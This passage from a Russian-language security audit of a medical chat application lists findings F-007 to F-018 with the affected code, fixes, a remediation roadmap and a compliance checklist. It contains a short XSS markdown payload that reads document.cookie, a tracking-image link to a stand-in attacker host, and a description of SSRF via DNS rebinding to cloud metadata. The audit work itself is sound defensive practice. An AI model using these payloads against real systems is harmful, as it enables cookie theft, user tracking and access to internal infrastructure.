Exception: `pass`. Если запись в `audit_log` завершается с ошибкой (БД недоступна, нарушение `constraint`, ошибка сериализации `payload`), это происходит полностью незаметно — ни пользователь, ни оператор системы не получают уведомления. Для медицинской системы, где чат может содержать PHI (через поле `patient_id`), отсутствие гарантированного audit trail нарушает требования HIPAA § 164.312(b) (Audit Controls) и GDPR Art. 30 (Records of processing activities).

Затронутый код

Файл: `backend/app/services/messages_api_service.py`, строки 169–184.

```
def _audit(self, *, action, entity_type, entity_id, actor_user_id, payload):
    try:
        from app.models.audit import AuditLog
        audit_entry = AuditLog(
            action=action, entity_type=entity_type,
            entity_id=entity_id, actor_user_id=actor_user_id,
            payload=payload,
        )
        self.repository.add(audit_entry)
        self.repository.commit()
    except Exception:
        # ← Audit errors should not fail user flow
        # ПРОГЛАТЫВАЕТ ошибку — ни логирования, ни алерта
        pass
```

Воздействие

Нарушение требования audit trail. При сбое БД или ошибке сериализации критически важные действия с сообщениями (`send_message`, `read_conversation`, `delete_message`, `access_voice_message`) не будут записаны в audit log. В случае расследования инцидента с утечкой PHI невозможно доказать, кто и когда обращался к конкретным сообщениям. Это нарушает HIPAA § 164.312(b) и может привести к штрафам регулятора.

Рекомендация

Заменить silent except на структурированную обработку: логировать ошибку через `logger.error()` с контекстом, отправлять алерт в Sentry/observability, использовать отдельную DB-сессию для audit (чтобы failure основной транзакции не блокировал audit). Опционально — записывать audit в отдельную очередь (Kafka/Redis) для гарантированной доставки.

```
def _audit(self, *, action, entity_type, entity_id, actor_user_id, payload):
    import logging
    logger = logging.getLogger(__name__)
    try:
        # Отдельная сессия — audit не зависит от основной транзакции
        from app.db.session import SessionLocal
        from app.models.audit import AuditLog
        audit_session = SessionLocal()
        try:
            audit_entry = AuditLog(
                action=action, entity_type=entity_type,
                entity_id=entity_id, actor_user_id=actor_user_id,
                payload=payload,
            )
            audit_session.add(audit_entry)
            audit_session.commit()
        finally:
            audit_session.close()
    except Exception as e:
        # КРИТИЧНО: логируем + алертим, НЕ проглатываем
        logger.error(
            "AUDIT_LOG_FAILED action=%s entity=%s/%s actor=%s error=%s",
            action, entity_type, entity_id, actor_user_id, e,
            exc_info=True,
        )
        # Опционально: отправить в Sentry / алерт-канал
        # sentry_sdk.capture_exception(e)
```

F-008. PII/PHI в preview бесед (content[:100])

Серьёзность: **Medium** | CVSS v3.1: 4.3 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Описание

Метод `get_conversations_list()` в `crud/message.py` возвращает для каждой беседы поле `last_message`, содержащее первые 100 символов контента последнего сообщения. Это означает, что при загрузке списка бесед (`GET /api/v1/messages/conversations`) пользователь получает preview последнего сообщения от каждого собеседника — даже если сообщение содержит PHI (например, «Пациент Иванов, анализ крови показал...»).

Затронутый код

Файл: `backend/app/crud/message.py`, строки 113. Также поле попадает в схему `ConversationOut` (`schemas/message.py`, строка 92).

```
# crud/message.py — утечка первых 100 символов
conversations[other_user_id] = {
    'user_id': other_user.id,
    'user_name': display_name,
    'user_role': other_user.role or "User",
    'last_message': msg.content[:100] if len(msg.content) > 100 \
        else msg.content, # ← PHI leak
    'last_message_time': msg.created_at,
    'unread_count': unread,
    'is_online': False
}
```

Воздействие

Раскрытие PII/PHI в списке бесед. Если у пользователя 50 бесед, он видит previews 50 последних сообщений одновременно. В медицинской системе сообщение часто содержит имя пациента, диагноз, результаты анализов — первые 100 символов могут раскрыть существенную часть PHI. Дополнительно, preview отображается в UI без дополнительной защиты (например, на экране в общей зоне видимости). Нарушение HIPAA § 164.502(b) (Minimum Necessary) и GDPR Art. 5(1)(c) (Data Minimization).

Рекомендация

Заменить `content[:100]` на нейтральное описание: «Голосовое сообщение», «Файл», «Фото», или обобщённое «Новое сообщение». Для текстовых — возвращать только индикатор длины («Сообщение из 250 символов»), но не сам контент. Полный контент доступен только при явном открытии переписки.

```
# crud/message.py — нейтральное preview
def _make_preview(msg) -> str:
    if msg.message_type == "voice":
        return "🔊 Голосовое сообщение"
    if msg.message_type == "file":
        return "📎 Файл"
    if msg.message_type == "image":
        return "🖼️ Изображение"
    # Для текста — только индикатор, без контента
    return f"Сообщение ({len(msg.content)} символов)"
conversations[other_user_id] = {
    'user_id': other_user.id,
    'user_name': display_name,
    'user_role': other_user.role or "User",
    'last_message': _make_preview(msg), # ← без PHI
    'last_message_time': msg.created_at,
    'unread_count': unread,
    'is_online': False
}
```

F-009. Нешифрованное хранение контента сообщений (plaintext Text)

Серьёзность: **Medium** | CVSS v3.1: 4.3 | Вектор: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Описание

Поле `Message.content` хранится в PostgreSQL как `Text` в открытом виде. Аналогично, `voice_duration`, `file_id`, `patient_id` — в открытом виде. При компрометации БД (SQL-инъекция, утечка бэкапа, инсайдер с доступом к БД) злоумышленник получает полный доступ ко всей истории переписки, включая PHI, привязанную к пациентам через `patient_id`.

Затронутый код

Файл: `backend/app/models/message.py`, строки 42 (`content: Text`), 50–54 (`voice_duration`), 57–63 (`patient_id`).

```
# models/message.py — plaintext Text без шифрования
content: Mapped[str] = mapped_column(Text, nullable=False, default="")
# ... файлы и БД-бэкапы содержат контент в открытом виде
```

Воздействие

Раскрытие всей истории переписки при компрометации БД или бэкапа. В медицинской системе это включает PHI пациентов (диагнозы, симптомы, имена). Нарушение HIPAA § 164.312(a)(2)(iv) (Encryption and Decryption, addressable но рекомендуемое) и GDPR Art. 32 (Security of processing, требует шифрования).

Рекомендация

Внедрить application-level шифрование для поля `content` и `patient_id`. Использовать Fernet (symmetric) из библиотеки `cryptography` с ключом из KMS (AWS KMS / HashiCorp Vault). Шифровать при INSERT, расшифровывать при SELECT в service-слое. Поле `file_path` для голосовых — также шифровать или хранить файлы в encrypted S3 bucket.

```
# models/message.py
from cryptography.fernet import Fernet
from app.core.config import settings

_fernet = Fernet(settings.MESSAGE_ENCRYPTION_KEY)

class Message(Base):
    # ... храним зашифрованный контент как bytes
    content_encrypted: Mapped[bytes] = mapped_column(LargeBinary, nullable=False)
    # property для прозрачного шифрования/расшифрования
    @property
    def content(self) -> str:
        return _fernet.decrypt(self.content_encrypted).decode("utf-8")

    @content.setter
    def content(self, value: str):
        self.content_encrypted = _fernet.encrypt(value.encode("utf-8"))

# Дополнительно: pgcrypto для database-level encryption
# ALTER TABLE messages ALTER COLUMN content_encrypted TYPE bytea;
# CREATE INDEX CONCURRENTLY ... (без search по content!)
```

F-010. ReactMarkdown без санитизации протоколов (javascript:, data:)

Серьёзность: **Medium** | CVSS v3.1: 4.6 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Описание

Фронтенд-компонент `ChatWindow.jsx` рендерит контент текстовых сообщений через `ReactMarkdown` без явной конфигурации `disallowedElements` или санитизации URL-протоколов. Бэкенд использует `bleach.clean(content, tags=[], strip=True)`, что удаляет HTML, но Markdown-синтаксис остаётся. Злоумышленник может отправить сообщение с markdown-ссылкой `[click](javascript:alert(document.cookie))` — в некоторых версиях `ReactMarkdown` и браузерах это может выполняться.

Затронутый код

Файл: `frontend/src/components/chat/ChatWindow.jsx`, строки 1027–1035.

```
// ChatWindow.jsx — рендеринг Markdown без санитизации протоколов
<ReactMarkdown
  components={{
    a: ({ ...props }) =>
      <a {...props} target="_blank" rel="noopener noreferrer" />
  }}>
  {item.content}
</ReactMarkdown>
// ← нет urlTransform / disallowedElements / allowedSchemes
```

Воздействие

Potential XSS через markdown-ссылки с протоколом `javascript:` или `data:`. Хотя современные браузеры блокируют `javascript:` в href в большинстве случаев, edge-cases возможны (особенно в legacy-браузерах или через SVG data: URLs). Дополнительный риск — отслеживание пользователей через image-теги markdown (`![img](https://attacker.com/track.png?user=victim)`) — позволяет злоумышленнику определить IP-адрес жертвы и факт открытия сообщения.

Рекомендация

Настроить `ReactMarkdown` с явным списком разрешённых протоколов через `urlTransform`. Запретить протоколы `javascript:`, `data:`, `vbscript:`. Также рассмотреть использование `rehype-sanitize` для глубокой санитизации.

```
import ReactMarkdown, { urlTransform } from 'react-markdown';
import rehypeSanitize from 'rehype-sanitize';

const safeUrlTransform = (url) => {
  const allowed = /^(https?:|mailto:|tel:|\/|\/#)/i;
  if (!allowed.test(url)) return '#';
  return urlTransform(url);
};

<ReactMarkdown
  urlTransform={safeUrlTransform}
  rehypePlugins={[rehypeSanitize]}
  components={{
    a: ({ href, children, ...props }) => {
```

```
// Двойная проверка перед рендерингом
if (href && /^(javascript|data|vbscript):/i.test(href)) {
  return <span>{children}</span>;
}
return <a {...props} href={href}
  target="_blank" rel="noopener noreferrer" />;
},
img: () => null, // отключить img в markdown (трекеры)
}}>
{item.content}
</ReactMarkdown>
```

F-011. DNS rebinding в link-preview (validation-then-fetch race)

Серьёзность: **Medium** | CVSS v3.1: 4.3 | Вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Описание

Эндпоинт GET /api/v1/utils/link-preview?url=... выполняет SSRF-защиту через `_validate_public_preview_url()`, которая резолвит `hostname` через `socket.getaddrinfo()` и проверяет, что IP является глобальным. Однако между моментом валидации и фактическим HTTP-запросом через `httpx` проходит время, в течение которого DNS может измениться (DNS rebinding). Злоумышленник с контролем над DNS-сервером может в первой фазе вернуть публичный IP, а во второй — внутренний (например, 169.254.169.254 для AWS metadata service).

Затронутый код

Файл: `backend/app/api/v1/endpoints/utils.py`, строки 23–57.

```
# utils.py — валидация и fetch разделены во времени
def _validate_public_preview_url(raw_url: str) -> str:
    # Шаг 1: резолвинг DNS
    addresses = {info[4][0] for info in socket.getaddrinfo(hostname, parsed.port)}
    if not addresses or any(_is_blocked_ip(address) for address in addresses):
        raise HTTPException(400, "URL host is not allowed")
    return parsed.geturl() # ← URL возвращён, IP НЕ зафиксирован

# Шаг 2: httpx делает НОВЫЙ DNS-resolve
async def _fetch_public_preview(client, url):
    current_url = _validate_public_preview_url(url)
    for _ in range(MAX_REDIRECTS + 1):
        response = await client.get(current_url, follow_redirects=False)
        # ← httpx снова резолвит hostname, DNS может уже измениться
```

Воздействие

SSRF к внутренним ресурсам через DNS rebinding. Возможен доступ к AWS instance metadata (169.254.169.254), внутренним сервисам (10.x, 192.168.x), localhost. Утечка IAM-credentials, внутренних API-эндпоинтов, k8s-metadata. Сложность эксплуатации высокая (требует своего DNS-сервера), но для медицинской системы риск существенен из-за возможной компрометации инфраструктуры.

Рекомендация

Зафиксировать IP после валидации и использовать его для фактического запроса. Передать в `httpx` опцию `transport=httpx.HTTPTransport` с пользовательским `resolver`, либо делать запрос по IP напрямую с подстановкой `Host`-заголовка. Альтернатива — использовать отдельный `resolver` с `pinning`.

```
# utils.py — IP pinning
import httpx

async def _fetch_public_preview(client, url):
    current_url = _validate_public_preview_url(url)
    parsed = urlparse(current_url)
    # Резолвим ОДИН РАЗ и фиксируем
    addresses = socket.getaddrinfo(parsed.hostname, parsed.port or 443)
    ip = addresses[0][4][0]
    # Подменяем hostname на IP, сохраняем Host-заголовок
    fetch_url = current_url.replace(parsed.hostname, ip)
    headers = {"Host": parsed.hostname}
    for _ in range(MAX_REDIRECTS + 1):
        response = await client.get(fetch_url, headers=headers, follow_redirects=False)
    # ...
```

F-012. Fire-and-forget `asyncio.create_task` без обработки ошибок

Серьёзность: **Medium** | CVSS v3.1: 3.7 | Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Описание

В `messages_api_service.py` уведомления через `WebSocket` (`chat_manager.notify_new_message()`, `notify_message_read()`, `broadcast_event()`) запускаются через `asyncio.create_task()` без `await` и без обработки исключений. Если задача упадёт (например, `WebSocket` уже закрыт, ошибка сериализации, `connection reset`), это произойдёт незаметно — ни отправитель, ни получатель не получат уведомления о новом сообщении, и состояние чата рассинхронизируется.

Затронутый код

Файл: `backend/app/services/messages_api_service.py`, строки 234–248, 290–294, 351–362, 388–411, 510–528, 618–631.

```
# messages_api_service.py — fire-and-forget без error handling
try:
    asyncio.create_task(
        chat_manager.notify_new_message(
            recipient_id=recipient.id,
            message_data=enriched_message.model_dump(),
        )
    )
    asyncio.create_task(
        chat_manager.notify_new_message(
            recipient_id=current_user.id, # ← отправляем копию себе
```

```

        message_data=enriched_message.model_dump(),
    )
)
except Exception:
    pass # ← проглатывает даже ошибку создания task

```

Воздействие

Рассинхронизация состояния чата. Получатель может не узнать о новом сообщении до тех пор, пока явно не обновит список бесед. Уведомления о прочтении могут не дойти до отправителя. Для медицинской системы это может означать, что врач не получит своевременно сообщение от регистратора о пациенте. Дополнительно, `silent failure` затрудняет дебаггинг production-инцидентов.

Рекомендация

Заменить `asyncio.create_task` на `asyncio.create_task` с прикреплённым callback через `task.add_done_callback()`, который логирует исключения. Альтернативно — использовать `await` с `asyncio.gather(..., return_exceptions=True)` и обрабатывать исключения явно. Опционально — вынести уведомления в фоновую очередь (Celery/arq).

```

# messages_api_service.py — proper task error handling
def _fire_and_log(coroutine, context: str):
    """Запустить корутину в фоне, залогировать ошибку."""
    task = asyncio.create_task(coroutine)
    def _on_done(t: asyncio.Task):
        if t.cancelled():
            return
        exc = t.exception()
        if exc:
            logger.error(
                "WS_NOTIFY_FAILED context=%s error=%s",
                context, exc, exc_info=exc,
            )
    task.add_done_callback(_on_done)
    return task

# Использование:
_fire_and_log(
    chat_manager.notify_new_message(
        recipient_id=recipient.id,
        message_data=enriched_message.model_dump(),
    ),
    context=f"new_message recipient={recipient.id}",
)

```

8. Находки низкого уровня (Low)

Находки уровня **Low** (CVSS 0.1–3.9) — это в основном архитектурные долги, отсутствующие hardening-меры и слабости observability. Они не приводят к непосредственной компрометации, но увеличивают поверхность атаки и затрудняют обнаружение инцидентов. Рекомендуется устранить в течение квартала.

F-013. Отсутствие пагинации в `conversations_list` (загружает все сообщения)

Серьёзность: **Low** | CVSS v3.1: 3.7 | Вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Описание

Метод `get_conversations_list()` в `crud/message.py` выполняет `db.query(Message).filter(...).order_by(...).all()` без `LIMIT` — загружает ВСЕ сообщения пользователя за всё время. Для пользователей с длительной историей переписки (например, регистратор, работающий 2 года) это может быть десятки тысяч записей. В цикле для каждого уникального собеседника дополнительно выполняется `db.query(User)` и `db.query(Message).count()` — N+1 query pattern.

Затронутый код

Файл: `backend/app/crud/message.py`, строки 76–123.

```
# crud/message.py — N+1 + без пагинации
all_messages = db.query(Message).filter(
    or_(Message.sender_id == user_id, Message.recipient_id == user_id)
).order_by(desc(Message.created_at)).all() # ← без limit
for msg in all_messages: # ← итерация по всем сообщениям
    # ... для каждого нового собеседника:
    other_user = db.query(User).filter(User.id == other_user_id).first() # N+1
    unread = db.query(Message).filter(...).count() # N+1
```

Воздействие

DoS через раздувание списка бесед. Пользователь с тысячами собеседников и десятками тысяч сообщений будет испытывать длительные задержки при загрузке `conversations`. БД-сервер получает тяжелые запросы с `full table scan` и потенциально блокирует другие транзакции. Деградация UX — список бесед может не загрузиться вовсе.

Рекомендация

Переписать на SQL с `GROUP BY` и оконными функциями (`LATEST OVER PARTITION BY`), чтобы получить список собеседников с последним сообщением одним запросом. Пагинация на уровне собеседников (`LIMIT 50, OFFSET N`). Unread count — отдельным batch-запросом с `GROUP BY sender_id`.

```
# crud/message.py — SQL вместо Python-цикла
from sqlalchemy import func, desc

def get_conversations_list(self, db, *, user_id, skip=0, limit=50):
    # Один запрос: последние сообщения + имена собеседников
    partner = func.case(
        (Message.sender_id == user_id, Message.recipient_id),
        else_=Message.sender_id,
    ).label("partner_id")
    subq = (
        db.query(
            Message.id,
            Message.sender_id,
            Message.recipient_id,
            Message.content,
            Message.message_type,
            Message.created_at,
            partner,
            func.row_number().over(
                partition_by=partner,
                order_by=desc(Message.created_at),
            ).label("rn"),
        )
        .filter(
            or_(Message.sender_id == user_id,
                Message.recipient_id == user_id),
        )
        .subquery()
    )
    rows = (
        db.query(subq, User)
        .join(User, User.id == subq.c.partner_id)
        .filter(subq.c.rn == 1)
        .order_by(desc(subq.c.created_at))
        .offset(skip)
        .limit(limit)
        .all()
    )
    # Unread counts — одним batch-запросом
    partner_ids = [row[0].partner_id for row in rows]
    unread_map = dict(
        db.query(Message.sender_id, func.count(Message.id))
        .filter(
            Message.recipient_id == user_id,
            Message.is_read == False,
            Message.sender_id.in_(partner_ids),
        )
        .group_by(Message.sender_id)
        .all()
    )
    # ... сборка результата
```

F-014. Глобальный **in-memory state** — не работает в **multi-instance**

Серьёзность: **Low** | CVSS v3.1: 3.1 | Вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

Описание

ChatConnectionManager в chat_ws.py использует модуль-level переменную chat_manager = ChatConnectionManager() — dict[int, WebSocket] в памяти процесса. При horizontal scaling (запуск нескольких uvicorn/gunicorn воркеров или контейнеров) каждый экземпляр имеет свой собственный chat_manager. Пользователь, подключённый к instance A, не получит уведомление о новом сообщении, если отправитель подключён к instance B.

Затронутый код

Файл: backend/app/ws/chat_ws.py, строки 27–141.

```
# chat_ws.py — глобальный state в памяти процесса
class ChatConnectionManager:
    def __init__(self):
        self.active_connections: dict[int, WebSocket] = {}
        # ← in-memory, не шарится между воркерами/инстансами
# Module-level singleton
chat_manager = ChatConnectionManager()
```

Воздействие

При масштабировании системы (более 1 воркера/инстанса) теряется real-time-доставка сообщений. Часть пользователей не будет получать уведомления о новых сообщениях, typing-индикаторах, статусах прочтения. Это не уязвимость безопасности как таковая, но функциональный сбой, который в медицинской системе может привести к задержкам критически важных коммуникаций.

Рекомендация

Перейти на Redis Pub/Sub или Redis Streams для координации между инстансами. Каждый инстанс подписывается на канал chat:user:{user_id} и публикует туда уведомления. ChatConnectionManager остаётся в памяти, но при send_to_user() сначала публикует в Redis, а инстанс, у которого есть WebSocket-соединение с этим пользователем, доставляет сообщение локально.

```
# chat_ws.py — Redis Pub/Sub
import redis.asyncio as aioredis

class ChatConnectionManager:
    def __init__(self):
        self.active_connections: dict[int, WebSocket] = {}
        self.redis = aioredis.from_url(settings.REDIS_URL)
    async def send_to_user(self, user_id: int, data: dict) -> bool:
        # Сначала пробуем локально
        if user_id in self.active_connections:
            try:
                await self.active_connections[user_id].send_json(data)
                return True
```



```

except Exception:
    self.disconnect(user_id)
# Если локально нет — публикуем в Redis
await self.redis.publish(
    f"chat:user:{user_id}",
    json.dumps(data, default=str),
)
return False
async def listen_redis(self):
    """Слушаем Redis и доставляем локальным WS-клиентам."""
    pubsub = self.redis.pubsub()
    # Подписка на паттерн при подключении пользователя
    await pubsub.psubscribe("chat:user:*")
    async for message in pubsub.listen():
        if message["type"] != "message":
            continue
        user_id = int(message["channel"].decode().split(":")[-1])
        if user_id in self.active_connections:
            data = json.loads(message["data"])
            await self.active_connections[user_id].send_json(data)

```

F-015. Предсказуемые имена voice-файлов voice_{uid}_{ts}

Серьёзность: **Low** | CVSS v3.1: 2.7 | Вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Описание

Голосовые сообщения сохраняются в uploads/voice_messages/voice_{user_id}_{timestamp}.{format}. Имя файла частично предсказуемо: user_id известен, timestamp можно перебрать. Однако stream_voice_message имеет auth-проверку (только отправитель и получатель могут стримить), поэтому прямой доступ по имени не возможен. Риск снижен, но паттерн не соответствует best practice.

Затронутый код

Файл: backend/app/services/messages_api_service.py, строки 461–465.

```

# messages_api_service.py — predictable filename
timestamp = datetime.utcnow().strftime("%Y%m%d_%H%M%S")
safe_filename = f"voice_{current_user.id}_{timestamp}.{format_name}"
# ← user_id и timestamp известны/перебираемы

```

Воздействие

Минимальный. При наличии другой уязвимости (например, path traversal, или если auth-проверка будет ослаблена в будущем) предсказуемые имена упрощают атаку. Также возможен side-channel: по именам файлов в логах можно определить, кто кому отправлял голосовые сообщения (без доступа к контенту).

Рекомендация

Использовать UUID4 для имени файла: `voice_{uuid4().hex}.{format}`. Сохранять `original_filename` отдельно в БД.

```
# messages_api_service.py — UUID filename
import uuid
safe_filename = f"voice_{uuid.uuid4().hex}.{format_name}"
# user_id не входит в имя файла
```

F-016. Отсутствие CSP-заголовков для приложения

Серьёзность: **Low** | CVSS v3.1: 3.1 | Вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Описание

В middleware-стеке приложения (см. `app/middleware/`) есть `security_middleware.py`, но проверка показала, что Content Security Policy (CSP) заголовок не устанавливается или устанавливается слишком мягко. CSP — критическая protection-in-depth мера против XSS, предотвращающая выполнение инъектированных скриптов даже при наличии XSS-уязвимости.

Затронутый код

Файл: `backend/app/middleware/security_middleware.py`.

```
# security_middleware.py — нет CSP
# (детали зависят от реализации, но CSP header отсутствует в ответах)
```

Воздействие

При наличии XSS (например, через F-003 или F-010) злоумышленник может загружать произвольные скрипты с внешних доменов, красть токены, отправлять запросы от имени жертвы. Без CSP эти атаки проходят без каких-либо препятствий.

Рекомендация

Добавить строгий CSP через `middleware: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; connect-src 'self' wss: ws;; object-src 'none'; base-uri 'self'`. Начать с `report-only mode`, затем переключить на `enforce`.

```
# security_middleware.py
CSP_HEADER = (
    "default-src 'self'; "
    "script-src 'self'; "
    "style-src 'self' 'unsafe-inline'; "
    "img-src 'self' data: blob:; "
    "connect-src 'self' wss: ws;; "
    "object-src 'none'; "
    "base-uri 'self'; "
    "frame-ancestors 'none'; "
    "report-uri /api/v1/security/csp-report/"
)

@app.middleware("http")
```

```

async def add_security_headers(request, call_next):
    response = await call_next(request)
    response.headers["Content-Security-Policy"] = CSP_HEADER
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["X-Frame-Options"] = "DENY"
    response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
    return response

```

F-017. Мягкое удаление не физическое — **retention** может не сработать

Серьёзность: **Low** | CVSS v3.1: 2.7 | Вектор: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N

Описание

Метод `delete_for_user()` в `crud/message.py` реализует мягкое удаление (`is_deleted_by_sender = True`). Сервис `data_retention.py` имеет метод `cleanup_deleted_messages()`, который физически удаляет сообщения с обоими флагами. Однако нет гарантии, что этот сервис вызывается регулярно (нет `cron/periodic task` в основном коде). Кроме того, голосовые и файловые вложения физически остаются в файловой системе даже после удаления сообщения.

Затронутый код

Файл: `backend/app/crud/message.py`, строки 174–195. Файл: `backend/app/services/data_retention.py`, строки 97–140.

```

# crud/message.py — soft delete
def delete_for_user(self, db, *, message_id, user_id) -> bool:
    message = db.query(Message).filter(Message.id == message_id).first()
    if message.sender_id == user_id:
        message.is_deleted_by_sender = True
    elif message.recipient_id == user_id:
        message.is_deleted_by_recipient = True
    else:
        return False
    db.commit()
    return True
# ← физического удаления нет, файлы остаются навсегда

```

Воздействие

Нарушение права на забвение (GDPR Art. 17). При запросе пользователя на удаление его данных мягкое удаление оставляет контент в БД и файлах. Для медицинской системы это также нарушение HIPAA § 164.310(d)(2) (Data Destruction).

Рекомендация

Добавить `periodic task` (Celery beat или APScheduler) для ежедневного запуска `cleanup_deleted_messages()` и `cleanup_voice_messages()`. Также реализовать физическое удаление связанных файлов из `uploads/` при удалении записи.

```

# tasks/retention.py — periodic task

```

```

from apscheduler.schedulers.asyncio import AsyncIOScheduler
from app.services.data_retention import DataRetentionService

scheduler = AsyncIOScheduler()
@scheduler.scheduled_job("cron", hour=3, minute=0) # ежедневно в 03:00
async def run_retention_cleanup():
    from app.db.session import SessionLocal
    db = SessionLocal()
    try:
        service = DataRetentionService(db)
        result = await service.cleanup_deleted_messages(batch_size=500)
        logger.info("Retention cleanup: %s", result)
        # Также удалить осиротевшие файлы
        await service.cleanup_orphaned_files()
    finally:
        db.close()

# backend/app/main.py — запуск scheduler
@app.on_event("startup")
async def startup_event():
    scheduler.start()

@app.on_event("shutdown")
async def shutdown_event():
    scheduler.shutdown()

```

F-018. Bare except Exception: pass скрывает атаки

Серьёзность: **Low** | CVSS v3.1: 3.1 | Вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Описание

В кодовой базе чата присутствует множество мест с `bare except Exception: pass` или `except Exception as e: logger.error(...)` без `re-raise`. Это проглатывает ошибки, включая те, которые могут быть признаком атаки (например, ошибку десериализации JSON, ошибку JWT-декодирования, ошибку БД-соединения). В production невозможно отличить легитимную ошибку от попытки эксплуатации уязвимости.

Затронутый код

Файлы: `backend/app/ws/chat_ws.py` (строки 41, 65, 207, 247, 289),
`backend/app/services/messages_api_service.py` (строки 182, 247, 333, 361, 411, 528, 631).

```

# chat_ws.py — типичный pattern
try:
    await self.active_connections[user_id].send_json(data)
    return True
except Exception as e:
    logger.error(f"Chat WebSocket send error: {e}")
    self.disconnect(user_id)
    # ← ошибка залогирована, но не проброшена выше
    # атакующий может провоцировать ошибки для reconnaissance

```

```
return False
```

Воздействие

Затруднённое обнаружение атак. Security-команда не видит паттерны ошибок, которые могут указывать на атаку (например, множественные ошибки декодирования JWT от одного IP = попытка подбора токена). Также нарушается принцип fail-secure — ошибка не приводит к блокировке подозрительной активности.

Рекомендация

Заменить bare except на конкретные типы исключений. Использовать `logger.warning()` для ожидаемых ошибок (например, `WebSocketDisconnect`) и `logger.error()` с Sentry-capture для неожиданных. Добавить metrics-счётчики (Prometheus Counter) для отслеживания частоты ошибок по типам.

```
# chat_ws.py — структурированная обработка
from prometheus_client import Counter
ws_errors = Counter(
    "chat_ws_errors_total",
    "WebSocket errors by type",
    ["error_type", "user_role"],
)
async def send_to_user(self, user_id: int, data: dict) -> bool:
    if user_id not in self.active_connections:
        return False
    try:
        await self.active_connections[user_id].send_json(data)
        return True
    except WebSocketDisconnect:
        # Ожидаемая ошибка — лог на info, без алерта
        logger.info("WS disconnect user_id=%s", user_id)
        ws_errors.labels("disconnect", "unknown").inc()
        self.disconnect(user_id)
    except (json.JSONEncodeError, TypeError) as e:
        # Неожиданная ошибка данных — warning + Sentry
        logger.warning("WS send data error user_id=%s: %s", user_id, e)
        ws_errors.labels("data_error", "unknown").inc()
        sentry_sdk.capture_exception(e)
    except RuntimeError as e:
        # WebSocket в плохом состоянии — error + alert
        logger.error("WS runtime error user_id=%s: %s", user_id, e)
        ws_errors.labels("runtime", "unknown").inc()
        sentry_sdk.capture_exception(e)
        self.disconnect(user_id)
    return False
```

9. План устранения (Remediation Roadmap)

План устранения разбит на три волны в соответствии с приоритетом и сроком эксплуатации. Каждая находка имеет ответственного (Backend / Frontend / DevOps / Security) и оценку трудозатрат в человеко-днях. После каждой волны рекомендуется проведение повторного аудита для верификации устранения.

Волна 1 — Немедленные меры (1–2 недели)

Критические и высокоприоритетные находки, эксплуатация которых возможна без высокой квалификации атакующего. Блокируют production-релиз, если не устранены.

ID	Находка	Ответственный	Трудозатраты	Приоритет
F-001	JWT в URL Query String WebSocket	Backend + Frontend	2 чел-дня	P0
F-002	Tenant-изоляция messages (добавить clinic_id)	Backend	5 чел-дней	P0
F-003	Валидация magic bytes для аудио + Content-Disposition	Backend	2 чел-дня	P0
F-004	Прямая авторизация файлов через message_id	Backend + Frontend	3 чел-дня	P0
F-005	Rate-limiting для WS-событий и REST чата	Backend	3 чел-дня	P1
F-006	Проверка собеседника в typing / get_online_status	Backend	2 чел-дня	P1

Таблица 4. Волна 1 — критические и высокоприоритетные находки.

Волна 2 — Краткосрочные меры (1 месяц)

Находки среднего приоритета, требующие архитектурных изменений или внедрения новых механизмов (шифрование, sanitisers, proper error handling).

ID	Находка	Ответственный	Трудозатраты	Приоритет
F-007	Structured audit-log error handling + alerting	Backend	2 чел-дня	P2
F-008	Нейтральные previews бесед (без PHI)	Backend + Frontend	1 чел-день	P2
F-009	Application-level encryption (Fernet) для content + patient_id	Backend + DevOps	5 чел-дней	P2
F-010	ReactMarkdown urlTransform + rehype-sanitize	Frontend	1 чел-день	P2

ID	Находка	Ответственный	Трудозатраты	Приоритет
F-011	IP pinning в link-preview для anti-DNS-rebinding	Backend	2 чел-дня	P2
F-012	Proper asyncio task error handling + done_callback	Backend	1 чел-день	P2

Таблица 5. Волна 2 — находки среднего приоритета.

Волна 3 — Долгосрочные меры (1 квартал)

Архитектурные улучшения и hardening. Не блокируют работу, но необходимы для зрелости security-практики команды и compliance-аудита.

ID	Находка	Ответственный	Трудозатраты	Приоритет
F-013	SQL rewrite conversations_list с пагинацией	Backend	3 чел-дня	P3
F-014	Redis Pub/Sub для multi-instance ChatConnectionManager	Backend + DevOps	5 чел-дней	P3
F-015	UUID-имена для voice-файлов	Backend	0.5 чел-дня	P3
F-016	CSP + security headers middleware	Backend	1 чел-день	P3
F-017	Periodic retention task + cleanup orphaned files	Backend + DevOps	2 чел-дня	P3
F-018	Structured error handling + Prometheus counters	Backend	3 чел-дня	P3

Таблица 6. Волна 3 — долгосрочные улучшения.

Суммарные трудозатраты

Волна 1: ~17 чел-дней (P0+P1, 1–2 недели).
Волна 2: ~12 чел-дней (P2, 1 месяц).
Волна 3: ~14.5 чел-дней (P3, 1 квартал).
Итого: ~43.5 чел-дней. Рекомендуется выделить 2 backend-разработчиков и 1 frontend-разработчика на Wave 1, после чего продолжить параллельно с основной разработкой.

10. Compliance-чеклист (PHI / медицинские данные)

Чек-лист соответствия чата требованиям защиты медицинских данных (PHI) по HIPAA Security Rule и GDPR. Статус «Соответствует» / «Частично» / «Не соответствует» основан на результатах данного аудита. Частичные соответствия требуют доработки.

№	Требование	Стандарт	Статус	Комментарий
1	Шифрование данных при передаче (TLS)	HIPAA § 164.312(e)(1)	Соответствует	HTTPS/WSS настроены на уровне reverse-proxy
